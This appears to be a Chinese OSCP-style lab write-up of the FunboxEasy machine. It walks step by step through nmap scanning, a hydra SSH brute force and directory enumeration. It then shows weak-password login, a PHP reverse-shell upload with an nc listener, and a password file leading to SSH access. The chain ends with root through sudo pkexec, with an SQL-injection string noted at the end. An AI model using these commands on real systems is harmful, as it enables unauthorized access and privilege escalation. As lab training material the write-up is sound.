OSCP靶场系列-Esay-FunboxEasy保姆级

OSCP靶场系列-Esay-FunboxEasy

总结

getwebshell → 异常艰难的目录扫描 → 敏感信息泄露账户密码 → 文件上传登录

提 权 思 路 → 用户密码文件泄露 → ssh登录 → sudo提权

准备工作

  • 启动VPN
    获取攻击机IP > 192.168.45.207

  • 启动靶机
    获取目标机器IP > 192.168.230.111

信息收集-端口扫描

目标开放端口收集

  • Nmap开放端口扫描2次
sudo nmap --min-rate 10000 -p- 192.168.230.111


通过两次收集到的端口:→22,80,33060

目标端口对应服务探测

# tcp探测
sudo nmap -sT -sV -O -sC -p22,80,33060 192.168.230.111

信息收集-端口测试

22-SSH端口的信息收集

22-SSH端口版本信息与MSF利用(无)

通过Nmap探测获得SSH的版本信息,可以尝试利用
探测版本为OpenSSH 8.2p1 Ubuntu 4ubuntu0.1

# 进入msf
msfconsole
# 搜索对应脚本
msf6 > searchsploit OpenSSH 8.2p1

22-SSH协议支持的登录方式

通过Nmap探测获得SSH的版本信息,在获取到某个用户名之后尝试

ssh root@192.168.230.111 -v
# 如果显示publickey、password就是都支持

支持密钥以及密码登录

22-SSH弱口令爆破(挂着)

既然支持密码登录尝试root账户的密码爆破,利用工具hydra,线程-t为6

hydra -l root -P /usr/share/wordlists/metasploit/password.lst -t 6 -vV 192.168.230.111 ssh -s 22

期待奇迹发生,先挂着爆破弱口令

22-SSH手动登录尝试(失败)

尝试root账户的密码爆破发现报错之后进行手动尝试

ssh root@192.168.230.111 -p 22
# 密码尝试
password > root

80-HTTP端口的信息收集

访问 http://192.168.230.111:80 发现是建站页直接从源码查看开始

信息收集-源码查看(无)
# 包括文章中是否写明一些敏感信息
curl http://192.168.230.111:80

信息收集-目录扫描
信息收集-目录扫描初步
dirsearch -u http://192.168.230.111:80 -x 302,403

被吓到了,太多端点了


因为扫出了目录,深层次的扫描待选

信息收集-目录扫描(后缀)
信息收集-目录扫描(深度/大字典)
信息收集-目录扫描(深度/大字典后缀)
信息收集-目录访问
/robots.txt端点

优先访问robots.txt端点

curl http://192.168.230.111/robots.txt

得到gym


##### /secret端点
从目录名字上来说,比较有诱惑力

┌──(root㉿Kali)-[/home/bachang/FunboxEasy]
└─# curl http://192.168.230.111/secret/   
„Anyone who lives within their means suffers from a lack of imagination.“
Oscar Wilde (*1854 - †1900)

给了一段摸不着头脑的内容(后面没思路在思考)

/admin端点与/admin/?/login端点

访问 http://192.168.230.111/admin/ 发现了登录端点
http://192.168.230.111/admin/?/login端点同理

/index.php/index.php/login/ 端点

访问 http://192.168.230.111/index.php/login/ 同样是一个登录端点

其余端点

从经验上来说 ,下面几个端点先放一边

  • /logout.php 是退出的php
  • /index.html 是首页
  • /checklogin.php 检查登录
  • /header.php 可能和检查有关
  • /admin/index.php 可能是调用login的内容
/gym端点

从泄露中访问对应端点 http://192.168.230.111/gym/

各个端点的指纹收集

whatweb http://192.168.230.111/admin
whatweb http://192.168.230.111/gym/
whatweb http://192.168.230.111/index.php/login/

根据现有信息得出CMSCRM有关


尝试搜索CRM的漏洞发现还无法精确指纹

目录扫描-2次递归

在似乎陷入困境之后思考到了之前目录扫描301的内容,接着扫描/store端点

dirsearch -u http://192.168.230.111:80/store -x 302,403

又是劝退系列,特别多,慢慢访问

信息收集-端点访问
/store/.gitattributes端点

该端点似乎存在了提示

┌──(root㉿Kali)-[/home/bachang/FunboxEasy]
└─# curl http://192.168.230.111/store/.gitattributes
# Auto detect text files and perform LF normalization
* text=auto
/store/functions/端点

似乎存在路径遍历,访问之后没有显示内容,先待定

/store/controllers/端点同理

/store/database/端点

在该端点下发现了有趣的内容


readme.txt.txt文件提示了账号密码信息,数据库信息以及邮箱


.sql文件下发现一些敏感内容

-- Database: `www_project`        
('admin', 'd033e22ae348aeb5660fc2140aec35850c4da997');

/store/template/端点

/store/index.php/store/admin.php端点

在访问的index.php端点下存在登录窗口


admin.php


其余端点先省略(后期思考,主要端点太多了)

端点的指纹收集

主要收集admin.php

whatweb http://192.168.230.111/store/admin.php

漏洞利用-getwebshell

思考了一下 /store/database/端点的泄露很有意思

弱口令进入后台

访问 http://192.168.230.111/store/admin.php 使用 admin:admin成功进入后台

文件上传getwebshell尝试1(失败)

尝试修改文件的时候发现上传点


尝试文件上传发现存在sql错误

文件上传getwebshell尝试2(失败)

发现添加的按钮尝试添加


上传之后点击提交


提示错误,publisherid这一行

文件上传getwebshell尝试3

检查了与publisher相关的行


收集了对应信息

O'Reilly Media
Apress
Wrox
Wiley
Addison-Wesley

发现使用对应的内容上传即可成功

反弹shell-php
# 利用cp命令cp一个到当前文件夹
sudo cp /usr/share/webshells/php/php-reverse-shell.php ./shell.php

# 开启监听
sudo nc -lnvp 4444

# 修改一下shell的反代地址
vim shell.php

上传shell

发现上传点

发现上传的图片在首页可以查看到大致位置

http://192.168.230.111/store/bootstrap/img/c_sharp_6.jpg

推理我们上传的在

http://192.168.230.111/store/bootstrap/img/shell.php

成功获得shell感觉异常艰难

内网遨游-getshell

交互shell

由于获取的shell交互不友好,利用python获得新的交互shell

python -c "import pty;pty.spawn('/bin/bash')";
# 利用python获取交互shell -> python失败使用python3
python3 -c "import pty;pty.spawn('/bin/bash')";

FLAG1获取

www-data<span>@funbox3</span>:/$ find / -name local.txt 2&gt;/dev/null
find / -name local.txt 2&gt;/dev/null
/var/www/local.txt
www-data<span>@funbox3</span>:/$ cat /var/www/local.txt
cat /var/www/local.txt
********************

提权基础(内网信息收集)

提权的本质在于枚举

检测Linux操作系统的发行版本
# 确定发行版本
lsb_release -a

Ubuntu 20.01发行版不太能overlayfs提权

检测Linux操作系统的内核版本
cat /proc/version
uname -a

内核版本 5.4.0

sudo收集(需要密码)

查找具有sudo权限,且不需要密码的可提权文件

# 利用sudo -l寻找
sudo -l

suid权限收集

搜索suid文件权限

# -perm 文件权限
find / -perm -u=s -type f 2&gt;/dev/null

/etc/passwd权限收集
ls -al /etc/passwd
-rw-r--r-- 1 root root 1807 Jul 30  2020 /etc/passwd

getcap标志进程收集
# 探查有CAP_SETUID标志的进程
/usr/sbin/getcap -r / 2&gt;/dev/null

/home用户下信息收集

发现/home目录下只有tony

ls -al /home/tony


发现了password.txt查看发现敏感信息

www-data@funbox3:/home/tony$ cat password.txt
ssh: yxcvbnmYYY
gym/admin: asdfghjklXXX
/store: admin@admin.com admin
ssh登录

通过敏感信息推测tony账户的密码是yxcvbnmYYY
获取账号密码之后利用SSH进行登录

sudo ssh tony@192.168.230.111 -p22
password > yxcvbnmYYY

sudo收集

查找具有sudo权限,且不需要密码的可提权文件

# 利用sudo -l寻找
sudo -l

发现了许多可以提权的文件,进行提权

权限提升

Linux提权-sudo提权

查找具有sudo权限,且不需要密码的可提权文件

    (root) NOPASSWD: /usr/bin/yelp
    (root) NOPASSWD: /usr/bin/dmf
    (root) NOPASSWD: /usr/bin/whois
    (root) NOPASSWD: /usr/bin/rlogin
    (root) NOPASSWD: /usr/bin/pkexec
    (root) NOPASSWD: /usr/bin/mtr
    (root) NOPASSWD: /usr/bin/finger
    (root) NOPASSWD: /usr/bin/time
    (root) NOPASSWD: /usr/bin/cancel
    (root) NOPASSWD: /root/a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/q/r/s/t/u/v/w/x/y/z/.smile.sh

如果发现sudo -l有东西的话 访问 https://gtfobins.github.io 寻找
发现pkexec提权


sudo pkexec /bin/sh


提权成功~

FLAG2获取

# cat /root/proof.txt
**********************

完结撒花~

后记(忽略的点)

该登录端点 CSE Bookstore 存在SQL注入

  • ' or 1=1; --测试注入之后可以用sqlmap获取数据库信息
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值